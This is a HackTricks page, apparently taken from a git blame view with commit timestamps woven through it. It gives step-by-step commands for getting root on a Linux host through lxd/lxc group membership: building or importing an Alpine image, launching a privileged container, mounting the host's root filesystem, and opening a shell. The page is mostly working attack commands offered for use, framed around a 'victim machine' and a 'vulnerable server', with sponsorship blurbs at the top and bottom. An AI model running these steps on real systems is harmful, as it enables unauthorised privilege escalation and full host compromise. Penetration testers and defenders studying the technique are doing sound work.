2022-04-28 16:01:33 +00:00
< details >
< summary > < strong > Support HackTricks and get benefits!< / strong > < / summary >
2022-09-09 11:28:04 +00:00
- Do you work in a **cybersecurity company** ? Do you want to see your **company advertised in HackTricks** ? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF** ? Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- **Join the** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** me on **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/carlospolopm )**.**
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo** ](https://github.com/carlospolop/hacktricks )**.**
2022-04-28 16:01:33 +00:00
< / details >
2020-08-20 11:59:57 +00:00
If you belong to _**lxd**_ **or** _**lxc**_ **group** , you can become root
2022-05-01 12:41:36 +00:00
# Exploiting without internet
2020-08-20 11:59:57 +00:00
2022-05-01 12:41:36 +00:00
## Method 1
2020-08-20 11:59:57 +00:00
2021-10-18 11:21:18 +00:00
You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder )(follow the instructions of the github):
2020-08-20 11:59:57 +00:00
```bash
2021-08-22 02:17:22 +00:00
sudo su
2020-08-20 11:59:57 +00:00
#Install requirements
sudo apt update
2022-05-20 20:11:54 +00:00
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
2020-08-20 11:59:57 +00:00
#Clone repo
2022-06-12 20:41:36 +00:00
git clone https://github.com/lxc/distrobuilder
2020-08-20 11:59:57 +00:00
#Make distrobuilder
2022-05-20 20:08:30 +00:00
cd distrobuilder
2020-08-20 11:59:57 +00:00
make
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
2021-08-22 02:17:22 +00:00
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
2020-08-20 11:59:57 +00:00
```
Then, upload to the vulnerable server the files **lxd.tar.xz** and **rootfs.squashfs**
Add the image:
```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image
```
Create a container and add root path
```bash
2022-05-20 20:08:30 +00:00
lxc init alpine privesc -c security.privileged=true --alias=alpine
2020-08-20 11:59:57 +00:00
lxc list #List containers
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```
2021-08-22 02:17:22 +00:00
{% hint style="danger" %}
2021-10-18 11:21:18 +00:00
If you find this error _**Error: No storage pool found. Please create a new storage pool**_ \
2022-03-25 15:00:31 +00:00
Run ** `lxd init` ** and **repeat** the previous chunk of commands
2021-08-22 02:17:22 +00:00
{% endhint %}
2020-08-20 11:59:57 +00:00
Execute the container:
```bash
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
2022-05-01 12:41:36 +00:00
## Method 2
2020-08-20 11:59:57 +00:00
Build an Alpine image and start it using the flag `security.privileged=true` , forcing the container to interact as root with the host filesystem.
```bash
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
2021-04-11 09:10:57 +00:00
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
2020-10-30 02:21:51 +00:00
2020-08-20 11:59:57 +00:00
# import the image
2021-04-11 09:10:57 +00:00
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
2020-11-17 21:38:49 +00:00
# before running the image, start and configure the lxd storage pool as default
lxd init
2020-08-20 11:59:57 +00:00
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
```
2021-11-30 16:46:07 +00:00
Alternatively [https://github.com/initstring/lxd\_root ](https://github.com/initstring/lxd\_root )
2020-08-20 11:59:57 +00:00
2022-05-01 12:41:36 +00:00
# With internet
2020-08-20 11:59:57 +00:00
You can follow [these instructions ](https://reboare.github.io/lxd/lxd-escape.html ).
```bash
lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
2022-05-01 12:41:36 +00:00
# Other Refs
2020-08-20 11:59:57 +00:00
2021-10-18 11:21:18 +00:00
{% embed url="https://reboare.github.io/lxd/lxd-escape.html" %}
2022-04-28 16:01:33 +00:00
< details >
< summary > < strong > Support HackTricks and get benefits!< / strong > < / summary >
2022-09-09 11:28:04 +00:00
- Do you work in a **cybersecurity company** ? Do you want to see your **company advertised in HackTricks** ? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF** ? Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- **Join the** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** me on **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/carlospolopm )**.**
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo** ](https://github.com/carlospolop/hacktricks )**.**
2022-04-28 16:01:33 +00:00
< / details >